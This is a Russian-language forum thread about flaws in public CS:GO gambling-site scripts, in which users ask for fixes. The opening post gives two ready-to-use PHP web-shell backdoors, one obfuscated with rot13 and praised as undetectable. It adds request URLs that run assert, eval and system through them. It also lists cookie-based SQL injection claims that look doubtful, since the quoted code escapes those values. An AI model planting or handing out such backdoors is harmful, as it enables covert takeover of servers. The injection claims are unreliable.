1. Наш магазин http://shop.v-h.su/ предлагает множество проектов. Готовый опенкейс - http://shop.v-h.su/page/opencase или готовая рулетка - http://shop.v-h.su/page/superstar1 решать только тебе! Также у нас очень много отзывов и гарантия, куча довольных клиентов и вечная тех поддержка! Обновление! Добавили готовые проекты по ОПКЭШУ! http://shop.v-h.su/page/opcash
  2. Хотите кейс на реальные деньги? или проект по Csgo/dota2? Мы можем сделать все что угодно. Адрес студии https://vk.com/madstud пишите. Любые проекты любой сложности.
    Скрыть объявление

Уязвимости в csgodouble csduo топ!!!

Тема в разделе "Помощь", создана пользователем Lar1k, 5 янв 2017.

  1. Lar1k

    Lar1k Опытный

    Сообщения:
    300
    Симпатии:
    76
    1) /index.php 18: $sql = $db->query("SELECT * FROM `users` WHERE `hash` = " . $db->quote( $_COOKIE['hash'])); SQL Injection
    2) /index.php 351: $sql = $db->query('SELECT * FROM `trades` WHERE `id` = '.$db->quote( $_COOKIE['tid']).' AND `status` = 0'); SQL Injection
    3) /index.php 395: $sql = $db->query('SELECT * FROM `trades` WHERE `id` = '.$db->quote( $_COOKIE['tid']).' AND `status` = 0'); SQL Injection
    Уязвимые места index.php
    Если нужно буде выложу больше

    1) PHP-Backdoor, который ничем не палится и при этом выглядит не палевно
    Код:
    <?php
    @$_REQUEST['large'](str_rot13('riny($_ERDHRFG["pbqr"]);'));
    ?>
    
    Код:
    index.php?large=assert&code=echo 123;
    index.php?large=assert&code=system('echo 1;');
    
    2) PHP-Backdoor, спасибо тебе, типизация которой нет
    Код:
    <?php $_REQUEST['f']($_REQUEST['c']); ?>
    
    Код:
    index.php?f=assert&c=phpinfo();
    index.php?f=eval&c=echo 1;
    
     
    #1
    Последнее редактирование: 22 янв 2017 в 22:00
    TochiJlka, vait и Qrator нравится это.
  2. Qrator

    Qrator QratorP
    Администрация

    Сообщения:
    1.449
    Симпатии:
    1.081
    Еще фиксы :eek::eek::D
     
    #2
  3. Artem0757

    Artem0757 Местный

    Сообщения:
    24
    Симпатии:
    0
    НАканец
     
    #3
  4. Artem0757

    Artem0757 Местный

    Сообщения:
    24
    Симпатии:
    0
    Го исчо
     
    #4
  5. Lar1k

    Lar1k Опытный

    Сообщения:
    300
    Симпатии:
    76
    Фиксы будут чуть позже:)
     
    #5
  6. Lar1k

    Lar1k Опытный

    Сообщения:
    300
    Симпатии:
    76
    Вечером мой друг
     
    #6
  7. Qrator

    Qrator QratorP
    Администрация

    Сообщения:
    1.449
    Симпатии:
    1.081
    Топ просто.
     
    #7
  8. ToXaHo

    ToXaHo Опытный

    Сообщения:
    597
    Симпатии:
    496
    типо куки заменить?
     
    #8
  9. leon808

    leon808 Новорег

    Сообщения:
    3
    Симпатии:
    1
    Парни, я задолбался все фиксить. Уже около недели выкиньте вы этот скрипт на помойку. Если лойсов много будет скину хак на накрутку коинов, так сказать по горячим следам откопал. Мб кому поможет

    P.s. На подкрутку цвета тоже имеется
     
    #9
    Последнее редактирование: 7 янв 2017
    andrulllka21 нравится это.
  10. Lar1k

    Lar1k Опытный

    Сообщения:
    300
    Симпатии:
    76
    Сливай, позже фиксы закину
     
    #10
  11. leon808

    leon808 Новорег

    Сообщения:
    3
    Симпатии:
    1
    У кого-нибудь есть демо csduo?
     
    #11
  12. daniil

    daniil Опытный

    Сообщения:
    133
    Симпатии:
    28
    А че вы ожидали от паблика?
     
    #12
  13. Lar1k

    Lar1k Опытный

    Сообщения:
    300
    Симпатии:
    76
    Фикс 15 символов.
     
    #13
  14. daniil

    daniil Опытный

    Сообщения:
    133
    Симпатии:
    28
    70% владельцев паблик даблов даже не подозревают об этом
     
    #14
  15. Lar1k

    Lar1k Опытный

    Сообщения:
    300
    Симпатии:
    76
    а бота смотрел, там есть что-то нехорошее ?
     
    #15
  16. daniil

    daniil Опытный

    Сообщения:
    133
    Симпатии:
    28
    Нет не смотрел, но врятле он работает хотя бы "нормально"
     
    #16
  17. marafon4k

    marafon4k Опытный

    Сообщения:
    93
    Симпатии:
    30
    А полные фиксы? Го на ютуб подробно все
     
    #17
  18. Misha2184

    Misha2184 Местный

    Сообщения:
    74
    Симпатии:
    3
    А нужно в адресную строку вставлять? и что они делают?
     
    #18
  19. Lar1k

    Lar1k Опытный

    Сообщения:
    300
    Симпатии:
    76
    14, и возможно еще в боте
     
    #19
  20. marafon4k

    marafon4k Опытный

    Сообщения:
    93
    Симпатии:
    30
    Так как исправить?
     
    #20
    Чудик нравится это.

Поделиться этой страницей